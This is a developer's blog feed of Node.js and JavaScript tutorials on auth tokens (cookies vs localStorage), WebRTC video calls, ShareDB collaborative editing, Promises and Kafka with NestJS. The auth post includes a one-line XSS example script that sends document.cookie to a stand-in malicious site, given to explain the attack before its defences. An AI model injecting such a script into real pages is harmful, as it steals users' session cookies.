DEV Community: Kannan

Auth in Web - Cookies Vs Storage

Kannan — Sun, 08 Nov 2020 09:44:13 +0000

Hello Everyone👋,

Today we will be seeing about cookie vs storage and how to setup the auth in the web app.

When it comes to Authentication there is always a confusion choosing between Cookie and Storage to save the token.

Cookies:

Cookies are text files with small piece of data. Cookies are sent automatically added to every request by the browser for the domain it is set. For each cookie they have max size of 4096 bytes.

These can be coupled with server side session to identify the user in the web application where in cookie we would save either session Id and in the server session id will be pointing to user details or the Token which would contain the user information.

Issues with Cookies:

Cookies are vulnerable to CSRF and XSS attacks.

I will not go into much detail about CSRF and XSS attacks because that would itself require a separate blog post.

On a high level CSRF stands for Cross-Site Request Forgery in which the attacker tries to steal the identity of the user.

Lets say you are already authenticated in notsecurebank.com .
So if you open any of the malicious websites. He would try to perform actions on behalf of you, like making a post call to notsecurebank.com/transfer/123.

Since cookies are automatically set in the request header by browser this action would become a valid one.

XSS attack mean Cross-Site Scripting in which the attacker tries to inject malicious scripts into your web application and retrieve all information.

Example:

<script>
window.location='maliciouSite.com/cookie='+document.cookie''
</script>

lets just say this blog uses cookie as mechanism and inject this script inside information field in my profile. So whenever a user visits my profile. I can steal his/her info.

With this type of attack they can retrieve cookie and all your secret information.

CSRF attack can be handled by setting the 'SameSite' flag set in cookie configuration Or using CSFR token.

Setting 'SameSite' attribute to 'Strict' will set cookie only if the origin is the one which set the cookie.

Setting 'SameSite' attribute to 'Lax' will set cookie to HTTP get requests even if it is from not same origin.

CSFR token is the process of sending each new random token every Page requests that gets validated in the server.

Here you can find how to implement CSFR tokens for different web frameworks

Setting 'HttpOnly' attribute to cookie will make sure that cookie is not accessible by Javascript or else document.cookie will return all the cookie for that site.

If your api's can be integrated by third party sites then cookies is not an option.

LocalStorage/SessionStorage:

The Storage objects are just key value pairs which are both strings. They are used to store information securely. The information stored in one domain cannot be accessed by another domain. The data stored in strorage can max upto ~5 MB.

It is even specific to protocol of the page. So if something is set by http://mysite.com will not access storage of https://mysite.com.

Only difference between local and session storage is localStorage not removed until we clear it whereas in session storage it is cleared when the page is closed.

Here once the user is logged in we fetch the tokens and save it in the storage.

Issues with Storages:
It is vulnerable to XSS attacks and there is no protection against that.

So if any malicious script is injected it can read all info in the storage.

Verdict:

Cookies vs Storage is always a debate between people and there is no clear winner in this.

At this point of time you would have felt like cookies as more secure. But both these are vulnerable to XSS attacks.

In Cookie case even if the script was not able to steal the cookie it can still make http requests inside the script to perform various actions.

A successful XSS attack means its OVER.

Your system has been compromised. I think stealing cookie or token would be the least thing in attacker's mind as he can do anything like injecting a key logger or he could even open an model asking the user to reauthenticate similar to how sites like amazon, github does while accessing secure routes.

If you are thinking if all my user inputs are properly sanitized and there is no need of worrying about XSS attacks.

Yes, But still we use lot of third party and open source libraries inside our application. Even if any one of them is compromised it would affect our application.

Do proper auditing of the libraries you use and follow the security standards and choose whichever works for you between cookies and storage.

Code:

Lets's build a basic auth in web application using node js. Here I will be using token based auth with localStorage.

// app.js
require('dotenv').config();
const express = require('express');
const bodyParser = require('body-parser');
const cors = require('cors');
const mongoose = require('mongoose');

const registerRoutes = require('./app.routes');
const registerMiddlewares = require('./app.middlewares');

const app = express();
const port = process.env.PORT || 4000;

app.use(cors());
app.use(bodyParser.json());

mongoose
  .connect(process.env.MONGO_URL, {
    useNewUrlParser: true,
    useUnifiedTopology: true,
    useCreateIndex: true,
  })
  .then(() => console.log('Mongo db connected!'))
  .catch((err) => console.error(err));

registerMiddlewares(app); // registering all our middlewares
registerRoutes(app); // registering all our routes

//error handler
app.use((err, req, res, next) => {
  console.log(err);
  const { error, code, message } = err;
  res.status(code || 500).json({ message, error });
});

app.listen(port, () => {
  console.log('Server is running at ', port);
});

process
  .on('warning', (reason) => {
    console.warn(reason);
  })
  .on('unhandledRejection', (reason, p) => {
    console.error(reason.toString());
  })
  .on('uncaughtException', (err) => {
    console.error(err.toString());
    process.exit(1);
  });

Nothing fancy here. We are using mongo as database and enabling cors and registering middlewares and routes.

// token.service
const jwt = require('jsonwebtoken');

const redis = require('./redis.service');
const { ACCESS_TOKEN_SECRET, REFRESH_TOKEN_SECRET } = process.env;

const createAccessToken = async (userId) => {
  let accessToken = jwt.sign({ user: { _id: userId } }, ACCESS_TOKEN_SECRET, {
    expiresIn: '60m',
  });
  await redis.set(accessToken, true);
  return accessToken;
};

const createRefreshToken = async (userId) => {
  let refreshToken = jwt.sign({ user: { _id: userId } }, REFRESH_TOKEN_SECRET, {
    expiresIn: '1d',
  });
  await redis.set(refreshToken, true);
  return refreshToken;
};

const isActiveToken = async (token) => {
  return redis.get(token);
};

const validateAccessToken = async (token) => {
  return jwt.verify(token, ACCESS_TOKEN_SECRET);
};

const validateRefreshToken = async (token) => {
  return jwt.verify(token, REFRESH_TOKEN_SECRET);
};

module.exports = {
  createAccessToken,
  createRefreshToken,
  isActiveToken,
  validateAccessToken,
  validateRefreshToken,
};

We are saving tokens in redis to see if its been revoked or not and we have methods to create and validate tokens. Access token is set to expire in 60 minutes and refresh token will expire in 24 hours.

//auth.middleware
const pathToRegexp = require('path-to-regexp');

const tokenService = require('../service/token.service');
const userService = require('../service/user.service');

const whitelistUrls = {
  '/auth/(.*)': '*', // if you want to allow only certain methods ['GET', POST] add it like this and validate
};
const validateToken = async (req, res, next) => {
  // if it is a whitelisted url skipping the token check
  const route = req.originalUrl.split('?')[0];
  for (const [pattern, methods] of Object.entries(whitelistUrls)) {
    const match = pathToRegexp.match(pattern, {
      decode: decodeURIComponent,
    });
    if (match(route) && (methods === '*' || methods.includes(req.req.method))) {
      return next();
    }
  }

  const token = req.get('x-auth-token');
  if (!token) {
    return res
      .status(401)
      .json({ message: 'Access denied, Auth token is missing!' });
  }

  // if token is not present in redis
  if (!(await tokenService.isActiveToken(token))) {
    return res
      .status(401)
      .json({ message: 'Token has been revoked, Please try again' });
  }
  try {
    const payload = await tokenService.validateAccessToken(token);
    // Always making call to db to fetch the latest user info.
    req.user = await userService.getUserInfo(payload.user._id);
    next();
  } catch (err) {
    const errorResponseMap = {
      TokenExpiredError: 'Session timed out, please login again',
      JsonWebTokenError: 'Invalid token!',
    };
    if (errorResponseMap[err.name]) {
      return res.status(401).json({ message: errorResponseMap[err.name] });
    } else {
      console.error(err);
      return res.status(400).json({ error: err });
    }
  }
};

module.exports = validateToken;

In auth middleware we are checking whether its a protected route or not if its a protected route. We are cheking whether the token has been revoked and if not we are validating the token.

I prefer not to save all the user info in token because if some data is changed it will not be reflected in the token. So everytime i like to fetch the userInfo from the database.

These are the main building blocks. The complete source code for server can be found here

Note: The above repo is not a production ready code but it should help you in pointing to the right path.

Client side:

In Client side we can use any http client libraries to add access token in the header and fetch access token using refresh token. I like to use axios because with the help of interceptors these can be easily achieved.

// To add access token to every request
axios.interceptors.request.use(
  (config) => {
    const accessToken = localStorage.getItem("accessToken");
    if (accessToken) {
      config.headers["x-auth-token"] = accessToken;
    }
    return config;
  },
  (error) => {
    Promise.reject(error);
  }
);

// To fetch access token again using refresh token if it is expired.
axios.interceptors.response.use((response) => {
  return response
}, async function (error) {
  const originalRequest = error.config;
  if (error.response.status === 403 && !originalRequest._retry) {
    originalRequest._retry = true;
    const access_token = await refreshAccessToken(); // implement code block to 
make http call to refresh access token            
    originalRequest.headers["x-auth-token"] = accessToken;
    return axiosApiInstance(originalRequest);
  }
  return Promise.reject(error);
});

Please like and share if you find this interesting.

Let's build a video conferencing app

Kannan — Sat, 31 Oct 2020 08:27:23 +0000

Hello Everyone👋,

In this article we will see how to build a video conferencing app.

Prerequisites:
Basics of Webrtc

To implement this we will be using the following libraries:

Setup Server:

touch app.js
yarn add express socket.io

const express = require('express');
const http = require('http');
const app = express();
const server = http.createServer(app);
const io = require('socket.io')(server);

const users = {};
const socketRoomMap = {};

io.on('connection', (socket) => {
  socket.on('join-room', (roomId, userDetails) => {
    // adding all user to a room so that we can broadcast messages
    socket.join(roomId);

    // adding map users to room
    if (users[roomId]) {
      users[roomId].push({ socketId: socket.id, ...userDetails });
    } else {
      users[roomId] = [{ socketId: socket.id, ...userDetails }];
    }

    // adding map of socketid to room
    socketRoomMap[socket.id] = roomId;
    const usersInThisRoom = users[roomId].filter(
      (user) => user.socketId !== socket.id
    );

    /* once a new user has joined sending the details of 
    users who are already present in room. */
    socket.emit('users-present-in-room', usersInThisRoom);
  });

  socket.on('initiate-signal', (payload) => {
    const roomId = socketRoomMap[socket.id];
    let room = users[roomId];
    let name = '';
    if (room) {
      const user = room.find((user) => user.socketId === socket.id);
      name = user.name;
    }

    /* once a peer wants to initiate signal, 
    To old user sending the user details along with signal */
    io.to(payload.userToSignal).emit('user-joined', {
      signal: payload.signal,
      callerId: payload.callerId,
      name,
    });
  });

  /* once the peer acknowledge signal sending the 
  acknowledgement back so that it can stream peer to peer. */
  socket.on('ack-signal', (payload) => {
    io.to(payload.callerId).emit('signal-accepted', {
      signal: payload.signal,
      id: socket.id,
    });
  });

  socket.on('disconnect', () => {
    const roomId = socketRoomMap[socket.id];
    let room = users[roomId];
    if (room) {
      room = room.filter((user) => user.socketId !== socket.id);
      users[roomId] = room;
    }
    // on disconnect sending to all users that user has disconnected
    socket.to(roomId).broadcast.emit('user-disconnected', socket.id);
  });
});

server.listen(3001);

Here we use socket to transmit the user details and webrtc signals between multiple peers.

Setup the Client:

npx create-react-app webrtc-video-call-react
cd webrtc-video-call-react
yarn add socket.io-client simple-peer chance

import React from 'react';
import { BrowserRouter, Route, Switch } from 'react-router-dom';
import Home from './Home';
import Room from './Room';

const App = () => (
  <div className='App'>
    <BrowserRouter>
      <Switch>
        <Route path='/' exact component={Home} />
        <Route path='/room/:roomId' component={Room} />
      </Switch>
    </BrowserRouter>
  </div>
);

export default App;

Here we have 2 routes /home and /room/:roomId . In /home we will give the option to create room or join room. In /room/:roomId is where we will render the video streams from multiple users.

import React, { useState } from 'react';
import * as Chance from 'chance';

const chance = new Chance();

const Home = ({ history }) => {
  const [roomId, setRoomId] = useState('');
  return (
    <div style={{ marginTop: 10, marginLeft: 10 }}>
      <input
        type='text'
        value={roomId}
        onChange={(e) => setRoomId(e.target.value)}
      ></input>
      <button
        type='button'
        onClick={() => {
          if (!roomId) {
            alert('RoomId is required');
            return;
          }
          history.push(`/room/${roomId}`);
        }}
      >
        Join Room
      </button>
      <button
        type='button'
        onClick={() => {
          const id = chance.guid();
          history.push(`/room/${id}`);
        }}
      >
        Create Room
      </button>
    </div>
  );
};

export default Home;

import React, { useEffect, useRef, useState } from 'react';
import io from 'socket.io-client';
import Peer from 'simple-peer';
import * as Chance from 'chance';

import Video from './Video';

const chance = new Chance();

const Room = (props) => {
  const [userDetails, setUserDetails] = useState({
    id: chance.guid(),
    name: chance.name(),
  });
  const [peers, setPeers] = useState([]);

  const socketRef = useRef();
  const refVideo = useRef();
  const peersRef = useRef([]);

  const roomId = props.match.params.roomId;

  useEffect(() => {
    navigator.mediaDevices
      .getUserMedia({ video: true, audio: true })
      .then((stream) => {
        refVideo.current.srcObject = stream;

        socketRef.current = io.connect('http://localhost:3001');

        // sending the user details and roomid to join in the room
        socketRef.current.emit('join-room', roomId, userDetails);

        socketRef.current.on('users-present-in-room', (users) => {
          const peers = [];

          // To all users who are already in the room initiating a peer connection
          users.forEach((user) => {
            const peer = createPeer(
              user.socketId,
              socketRef.current.id,
              stream
            );

            peersRef.current.push({
              peerId: user.socketId,
              peer,
              name: user.name,
            });

            peers.push({
              peerId: user.socketId,
              peerObj: peer,
            });
          });

          setPeers(peers);
        });

        // once the users initiate signal we will call add peer
        // to acknowledge the signal and send the stream
        socketRef.current.on('user-joined', (payload) => {
          const peer = addPeer(payload.signal, payload.callerId, stream);
          peersRef.current.push({
            peerId: payload.callerId,
            peer,
            name: payload.name,
          });

          setPeers((users) => [
            ...users,
            { peerId: payload.callerId, peerObj: peer },
          ]);
        });

        // once the signal is accepted calling the signal with signal
        // from other user so that stream can flow between peers
        socketRef.current.on('signal-accepted', (payload) => {
          const item = peersRef.current.find((p) => p.peerId === payload.id);
          item.peer.signal(payload.signal);
        });

        // if some user is disconnected removing his references.
        socketRef.current.on('user-disconnected', (payload) => {
          const item = peersRef.current.find((p) => p.peerId === payload);
          if (item) {
            item.peer.destroy();
            peersRef.current = peersRef.current.filter(
              (p) => p.peerId !== payload
            );
          }
          setPeers((users) => users.filter((p) => p.peerId !== payload));
        });
      });
  }, []);

  function createPeer(userToSignal, callerId, stream) {
    const peer = new Peer({
      initiator: true,
      trickle: false,
      stream,
    });

    peer.on('signal', (signal) => {
      socketRef.current.emit('initiate-signal', {
        userToSignal,
        callerId,
        signal,
      });
    });

    return peer;
  }

  function addPeer(incomingSignal, callerId, stream) {
    const peer = new Peer({
      initiator: false,
      trickle: false,
      stream,
    });

    peer.on('signal', (signal) => {
      socketRef.current.emit('ack-signal', { signal, callerId });
    });

    peer.signal(incomingSignal);

    return peer;
  }

  return (
    <div style={{ display: 'flex', flexWrap: 'wrap' }}>
      <div style={{ display: 'flex', flexDirection: 'column' }}>
        <video muted ref={refVideo} autoPlay playsInline />
        <span>{userDetails.name}</span>
      </div>
      {peers.map((peer, index) => {
        return (
          <Video
            key={peersRef.current[index].peerId}
            peer={peer.peerObj}
            name={peersRef.current[index].name}
          />
        );
      })}
    </div>
  );
};

export default Room;

This room component will take care of connecting to the peers, sending and receiving signal with the help of our socket server and simple-peer.

Start the server, client and open the url in multiple devices to see it in action.

Please feel free fork and play with the source code.

Source:
Client
Server

Please like and share if you find this interesting.

Let's Build a Collaborative Rich Text Editor

Kannan — Sat, 24 Oct 2020 08:08:01 +0000

Hello Everyone👋,

In this article we will see how to build a collabrative rich text editor.

If you already know how the collabration works realtime feel free to skip the theory section.

Theory:

To build a collabrative one we need to know how to handle the conflicts during collabration.

There are two most widely used algorithms to handle the conflicts:

Operational Transformation
Conflict-free replicated data type

Operational Transformation:

Operational Transformation (OT) is an algorithm/technique for the transformation of operations such that they can be applied to documents whose states have diverged, bringing them both back to the same state.

This works in client-server model.

A Quick Overview how it works:

Every action(insert or delete) is represented as an operation.
These actions are sent to the server where each operation is applied to the document and broadcasts to the other clients.
In case of conflicts the server's transform function takes two operations as inputs and tries to apply the second operation preserving the first operations intended change.

This technique is used by Google Docs, Google Slides, Wave etc.

Js libraries based on OT: sharedb

Conflict-free replicated data type:

Conflict-free Replicated Data Type (CRDT) is a set of data structures that can be replicated across network and can guarantee the data to be consistent and correct eventually. Those data structure do not make assumptions on how the data are replicated, or the order of the data it arrives.

There are a lot of different CRDT algorithms that allow the implementation of shared types. Some CRDTs work with Peer to peer (mostly) message propagation, some rely on client-server models.

A Quick Overview how it works:

Since there are lot of approaches out there, on high level

All the operations are broadcasted to all the clients first
when there is a conflict they are resolved in such a way that ```

T(o1, o2) == T(o2, o1)

The result of two operation must be equal irrespective of the order of the operations. So that it final result is same across all clients.

![CRDT](https://dev-to-uploads.s3.amazonaws.com/i/1ttl0lyqwytqjsl113hz.png)

This technique is used by Figma, Apple Notes etc.

Js libraries based on CRDT: [Yjs](https://github.com/yjs/yjs), [Automerge](https://github.com/automerge/automerge)

Note: OT and CRDT are much more complex than the short overview above. If you are planning to implement yourself read the research papers for better understanding.

### Code:

To implement this we will be using the following Js Libraries

1. [React](https://reactjs.org/docs/create-a-new-react-app.html)
2. [Nodejs](https://nodejs.org/en/)
3. [QuillJs](https://github.com/quilljs/quill)
4. [Websockets](https://www.npmjs.com/package/ws)
5. [Sharedb](https://www.npmjs.com/package/sharedb)
6. [websocket-json-stream](https://www.npmjs.com/package/@teamwork/websocket-json-stream)
7. [Rich-text](https://www.npmjs.com/package/rich-text)

#### Set up the Server:

touch app.js
yarn add ws sharedb rich-text @teamwork/websocket-json-stream


```javascript


const WebSocket = require('ws');
const WebSocketJSONStream = require('@teamwork/websocket-json-stream');
const ShareDB = require('sharedb');

/**
 * By Default Sharedb uses JSON0 OT type.
 * To Make it compatible with our quill editor.
 * We are using this npm package called rich-text
 * which is based on quill delta
 */
ShareDB.types.register(require('rich-text').type);

const shareDBServer = new ShareDB();
const connection = shareDBServer.connect();

/**
 * 'documents' is collection name(table name in sql terms)
 * 'firstDocument' is the id of the document
 */
const doc = connection.get('documents', 'firstDocument');

doc.fetch(function (err) {
  if (err) throw err;
  if (doc.type === null) {
    /**
     * If there is no document with id "firstDocument" in memory
     * we are creating it and then starting up our ws server
     */
    doc.create([{ insert: 'Hello World!' }], 'rich-text', () => {
      const wss = new WebSocket.Server({ port: 8080 });

      wss.on('connection', function connection(ws) {
        // For transport we are using a ws JSON stream for communication
        // that can read and write js objects.
        const jsonStream = new WebSocketJSONStream(ws);
        share.listen(jsonStream);
      });
    });
    return;
  }
});

Sharedb uses an in-memory data store. To persist the data we can use MongoDB, PostgresQL adaptor.

Set up the Client:

Let us create a react app using create-react-app and add the dependencies.



npx create-react-app collaborative-rte
cd collaborative-rte
yarn add sharedb rich-text quill

Note: React-quill which is a unofficial react wrapper over quill js also can be used. Personally I like to use quilljs as it has better docs.

Our editor component:



import React, { useEffect } from 'react';
import Quill from 'quill';
import 'quill/dist/quill.bubble.css';
import Sharedb from 'sharedb/lib/client';
import richText from 'rich-text';

// Registering the rich text type to make sharedb work
// with our quill editor
Sharedb.types.register(richText.type);

// Connecting to our socket server
const socket = new WebSocket('ws://127.0.0.1:8080');
const connection = new Sharedb.Connection(socket);

// Querying for our document
const doc = connection.get('documents', 'firstDocument');

function App() {
  useEffect(() => {
    doc.subscribe(function (err) {
      if (err) throw err;

      const toolbarOptions = ['bold', 'italic', 'underline', 'strike', 'align'];
      const options = {
        theme: 'bubble',
        modules: {
          toolbar: toolbarOptions,
        },
      };
      let quill = new Quill('#editor', options);
      /**
       * On Initialising if data is present in server
       * Updaing its content to editor
       */
      quill.setContents(doc.data);

      /**
       * On Text change publishing to our server
       * so that it can be broadcasted to all other clients
       */
      quill.on('text-change', function (delta, oldDelta, source) {
        if (source !== 'user') return;
        doc.submitOp(delta, { source: quill });
      });

      /** listening to changes in the document
       * that is coming from our server
       */
      doc.on('op', function (op, source) {
        if (source === quill) return;
        quill.updateContents(op);
      });
    });
    return () => {
      connection.close();
    };
  }, []);

  return (
    <div style={{ margin: '5%', border: '1px solid' }}>
      <div id='editor'></div>
    </div>
  );
}

export default App;

let us start the server now and run the react application. Open App in two windows and type something. We could see that it is in sync between tabs.

Feel free to playaround with the code here:
React App
Server

Please like and share if you find this interesting.

Tagged Template Literals

Kannan — Fri, 16 Oct 2020 17:12:47 +0000

Hello Everyone 👋,

Tagged template literals is an es6 feature which allow you to tag a template to a function.

If you are from react/graphql world you would have seen the below syntax.

Even If you do not know this syntax follow along you will understand.

Here styled.button and gql are actually just functions.

See the below example

Whenever a tagged function is called the first argument will be array of strings which is split on the interpolation.

Notice that we have used second argument with rest operator because each interpolation value will be passed as an argument to the function. Imagine there are 10 interpolation in a string getting each argument separately is not a good practice.

This can be used to completely transform the string.

Consider a use case while rendering a block in the html all its dynamic values needs to be made bold. We can write a simple function with tagged template easily to preprocess the string for us.

Note: There will be always one value more in the strings array then the values.

Check out these awesome libraries that use tagged templates:
Styled-Components
Common-tags
i18n-tag
graphql-tag

Please like and share if you find this interesting.

Node Js Worker threads

Kannan — Fri, 09 Oct 2020 16:34:17 +0000

Hello everyone 👋,

Worker threads help us to perform heavy synchronous operations without blocking the main thread.

We should not be doing the I/O operations in workers because Nodejs's main threads handle I/O operations better than workers.

The golden rule: don’t block the event loop, try to keep it running it and pay attention and avoid anything that could block the thread like synchronous network calls or infinite loops.

Let's take a look at the example:

In the above code in the route "/" getPi() is a method that loop on 10000000000. This roughly takes around 60 seconds to complete the request.

Since this is a synchronous operation it would be blocking the main thread execution and all the other requests will not be served.

To test it out, run the above code and hit "/" first and then "/hello". We would see that the second request will not be completed until the first request is completed.

To overcome this kind of situation we need to use worker threads where we will offload the blocking operation to the worker thread and once it is processed we will send the response back to the client.

So here we are spawning a worker thread here and sending a message to the worker thread to fetch the pi value. Once the value is returned from the worker we are sending the response back to the client.

This way we will not be blocking the main thread and other requests can be still processed as the worker thread execute in its separate event loop.

In case you want to play around code is available in github.

Please like and share if you find this interesting.

4 Promise Methods you need to know

Kannan — Thu, 01 Oct 2020 15:00:58 +0000

Hello👋 Everyone,

In this article, we are going to see the most used 4 Promise methods.

all
race
any
allSettled

1. Promise.all:

Promise.all method accepts an array of promises and returns a new promise that resolves when all the promises are resolved or reject when one of the promises is rejected.

// Example 1:
const dog = new Promise((resolve, reject) => {
  setTimeout(() => resolve('🐶'), 1000)
})
const cat = new Promise((resolve, reject) => {
  setTimeout(() => resolve('🐈'), 2000)
})

Promise.all([dog, cat]).then((values) => {
  // Order of values will be in the same order 
  // in which promises are present in the array
  console.log(values) // ['🐶', '🐈']
})

// Example 2:
const bear = new Promise((resolve, reject) => {
  setTimeout(() => reject('🐻'), 1000)
})
const panda = new Promise((resolve, reject) => {
  setTimeout(() => resolve('🐼'), 2000)
})

Promise.all([bear, panda])
  .then((values) => {
    console.log(values)
  })
  .catch((error) => {
    console.error(error) // 🐻
  })

// Practical Usage:
// This would be useful in the case where 
// you want to fetch data from multiple resources 
// and then consolidate them to form a response 
// before sending it back to the client.
Promise.all([
    fetch('/endpoint0'),
    fetch('/endpoint1'),
    fetch('/endpoint2'),
]).then(response => console.log(response))
.catch(error => console.log(error))

2. Promise.race:

Promise.race method accepts an array of promises and returns a new Promise that resolves or rejects if anyone of the promise is resolved or rejected.

// Example 1:
const dog = new Promise((resolve, reject) => {
  setTimeout(() => resolve('🐶'), 1000)
})
const cat = new Promise((resolve, reject) => {
  setTimeout(() => resolve('🐈'), 2000)
})

Promise.race([dog, cat]).then((value) => {
// value will be the resolved value of 
// first promise which resolved.
  console.log(value) // '🐶'
})

// Example 2:
const bear = new Promise((resolve, reject) => {
  setTimeout(() => reject('🐻'), 1000)
})
const panda = new Promise((resolve, reject) => {
  setTimeout(() => resolve('🐼'), 2000)
})

Promise.race([bear, panda])
  .then((value) => {
    console.log(value)
  })
  .catch((error) => {
  // value will be the rejected value of 
  // first promise which was rejected.
    console.error(error) // 🐻
  })

// Practical Usage:
// Here Promise will throw 'request timeout' 
// if the api call takes more than 30 seconds
Promise.race([
    fetch('/endpoint'),
    new Promise(function (resolve, reject) {
      setTimeout(() => 
        reject(new Error('request timeout')), 30000)
    })
]).then(response => console.log(response))
.catch(error => console.log(error))

3. Promise.any:

Promise.any method accepts an array of promises and returns a new Promise that resolves if anyone of the promise is resolved or rejected if all the promises are rejected.

Note: At the time of writing this is still in the experimental phase, not supported by all browsers and platforms yet

Polyfill : Promise.any

// Example 1:
const dog = new Promise((resolve, reject) => {
  setTimeout(() => reject('🐶'), 1000)
})
const cat = new Promise((resolve, reject) => {
  setTimeout(() => resolve('🐈'), 2000)
})

Promise.any([dog, cat]).then((value) => {
  // value will be the resolved value of 
 // first promise which resolved.
  console.log(value) // '🐈'
})

// Example 2:
const bear = new Promise((resolve, reject) => {
  setTimeout(() => reject('🐻'), 1000)
})
const panda = new Promise((resolve, reject) => {
  setTimeout(() => reject('🐼'), 2000)
})

Promise.any([bear, panda])
  .then((value) => {
    console.log(value)
  })
  .catch((error) => {
  // Array of rejected values
    console.error(error) // ['🐻','🐼']
  })

// Practical Usage:
// This can be used if we have multiple async calls 
// and we are only interested in the first successful one.
Promise.any([
    fetch('/endpoint'),
    fetch('/alternateEndpoint'),
    })
]).then(response => console.log(response))
.catch(error => console.log(error))

4. Promise.allSettled:

Promise.allSettled method accepts an array of promises and returns a new Promise that resolves after all of the given promises have either fulfilled or rejected, with an array of objects with fields status, value || reason.

// Example 1:
const dog = new Promise((resolve, reject) => {
  setTimeout(() => resolve('🐶'), 1000)
})
const cat = new Promise((resolve, reject) => {
  setTimeout(() => reject('🐈'), 2000)
})

Promise.allSettled([dog, cat]).then((values) => {
  console.log(values); 
// [{ status: 'fulfilled', value: '🐶' },
// { status: 'rejected', // reason: '🐈' }]
});


// Practical Usage:
// I have mostly used this for batch processing where 
// we identify the failed ones and retry separately.
Promise.allSettled([
    fetch('/endpoint0'),
    fetch('/endpoint1'),
    })
]).then(response => console.log(response))

Bonus Tip:

Did you know that Promise constructor callback doesn't short circuit if the promise is resolved or rejected?

const dog = new Promise((resolve, reject) => {
  setTimeout(() => {
    resolve('🐶');
    console.log('I am still executing!!');
  }, 1000);
})
const cat = new Promise((resolve, reject) => {
  setTimeout(() => {
    reject('🐈');
    console.log('Even I am!!');
  }, 2000)
})

Promise.all([dog, cat]).then((values) => {
  console.log(values)
}).catch((error) => {
  console.log('error =>',error);
})

/*
Console Output:
I am still executing!!
Even I am!!
error => 🐈
*/

Please like and share if you find this interesting!🙂

Filter an array for unique values in Javascript

Kannan — Thu, 24 Sep 2020 14:32:19 +0000

Here are a few ways to filter unique values in javascript.

1. Using Set:

Set is a new data structure introduced in ES6. It is somewhat similar to an array but it does not allow us to store duplicate values.

To filter unique values we pass an array to the Set constructor and we frame back an array from the Set object using
Array.from method.

Set works perfectly with the string and number types. But it will not work with objects why? 🤔

Take a look at this example:

Even though Tommy and Lucy are duplicated. Set was unable to identify them as duplicates.

Take a look at another example:

This is happening because when objects are compared they are compared by reference and not by value. That's why when lucy and tommy are added at first they were not added because they share the same reference. But when I added the tommy value directly it would have created a new reference.

2. Using Filter/Reduce:

We can also use Array.reduce to achieve the same kind of result.

Here the idea is findIndex or indexOf method would return the index of the first element that matches the criteria. So if the index of filter is not equal to the index returned by findIndex then the element is a duplicate.

This type will work for all types but for every element in array, we have to loop through the array again. Imagine where you want to filter in thousands of records. This approach is not an efficient one O(n^2).

3. Flag Approach:

This is my favorite way to find unique especially when dealing with a large array of objects. We will loop through the array and in the flag object we will check if the value is already present. If not we will add the value to the flag object and push it to the array else we will just ignore it. In this, we will loop through the array only once so time complexity will be O(n).

What is your favorite way and why? Let us know in the comments.

Kafka Microservice using Nest Js

Kannan — Sat, 19 Sep 2020 15:21:24 +0000

Hello All,

Hope you are doing well.
In this article, we are going to learn about how to set up a microservice using NestJs and Kafka.

Why did I start writing this?
I recently wanted to set up one and I was struggling to find a good example. After hours of googling, I was able to. So to make life easier for my fellow developers here I am.

Note: In this, I will not be explaining about Kafka or NestJs. So some basic knowledge on those would be helpful while implementing it.

Let's Get Started!!!

To install on windows/ubuntu please refer:
windows
ubuntu

To install Kafka on Mac using Homebrew:

$ brew cask install java
$ brew install Kafka

To start Zookeeper:

zookeeper-server-start /usr/local/etc/kafka/zookeeper.properties

Note: Zookeeper should be always started before starting the Kafka server.

To start Kafka:

kafka-server-start /usr/local/etc/kafka/server.properties

Lets check whether Kafka is working properly

To create a topic:

kafka-topics --create --zookeeper localhost:2181 --replication-factor 1 --partitions 1 --topic my-first-topic

To create a Producer console:

kafka-console-producer --broker-list localhost:9092 --topic my-first-topic

To create a Consumer console:

kafka-console-consumer --bootstrap-server localhost:9092 --topic my-first-topic --from-beginning

Now Producer console will be able to accept user inputs. Whatever we type on the Producer console should be visible in the Consumer console.

Let's write some code now

Let's create a NestJs application

nest new kafka-consumer

Once the application is created we need the microservices module and Kafka client library.

npm i --save @nestjs/microservices
npm i --save kafkajs

Now we need to update our main.ts to accept Kafka Transport and provide Kafka configurations

// main.ts

import { NestFactory } from '@nestjs/core';
import { Transport, MicroserviceOptions } from '@nestjs/microservices';

import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.createMicroservice<MicroserviceOptions>(AppModule, {
    transport: Transport.KAFKA,
    options: {
      client: {
        brokers: ['localhost:9092'],
      },
      consumer: {
          groupId: 'my-kafka-consumer',
      }
    }
  });

  app.listen(() => console.log('Kafka consumer service is listening!'))
}
bootstrap();

In app.controller.ts we are listening to our topic.

import { Controller } from '@nestjs/common';
import { MessagePattern, Payload } from "@nestjs/microservices";
import { AppService } from './app.service';

@Controller()
export class AppController {
  constructor(private readonly appService: AppService) { }

  @MessagePattern('my-first-topic') // Our topic name
  getHello(@Payload() message) {
    console.log(message.value);
    return 'Hello World';
  }
}

Start our server

npm start

Now let's go back to the producer console and send a message now it should be logged in our application console.

Voila!. Now we have set up our Kafka microservice successfully.

In case you want to set up producer inside a nest js application Please follow along.

Create an application and install the necessary dependencies

nest new kafka-producer
npm i --save @nestjs/microservices
npm i --save kafkajs

In app.controller.ts will set up our producer:

import { Controller, Get } from '@nestjs/common';
import { Client, ClientKafka, Transport } from "@nestjs/microservices";
import { AppService } from './app.service';

@Controller()
export class AppController {
  constructor(private readonly appService: AppService) { }

  @Client({
    transport: Transport.KAFKA,
    options: {
      client: {
        clientId: 'kafkaSample',
        brokers: ['localhost:9092'],
      },
      consumer: {
        groupId: 'my-kafka-consumer' // Should be the same thing we give in consumer
      }
    }
  })
  client: ClientKafka;

  async onModuleInit() {
    // Need to subscribe to topic 
    // so that we can get the response from kafka microservice
    this.client.subscribeToResponseOf('my-first-topic');
    await this.client.connect();
  }

  @Get()
  getHello() {
    return this.client.send('my-first-topic', 'Hello Kafka'); // args - topic, message
  }
}

Quit the producer console and consumer console that we started earlier if not already.

Start our server

npm start

Now open any Rest API client and hit
GET: http://localhost:3000/

Now we can see the Hello World as our response sent from Kafka microservice.

You can find the source code here:
Consumer Sample
Producer Sample

P.S This is my first blog post. Please feel free to give feedbacks.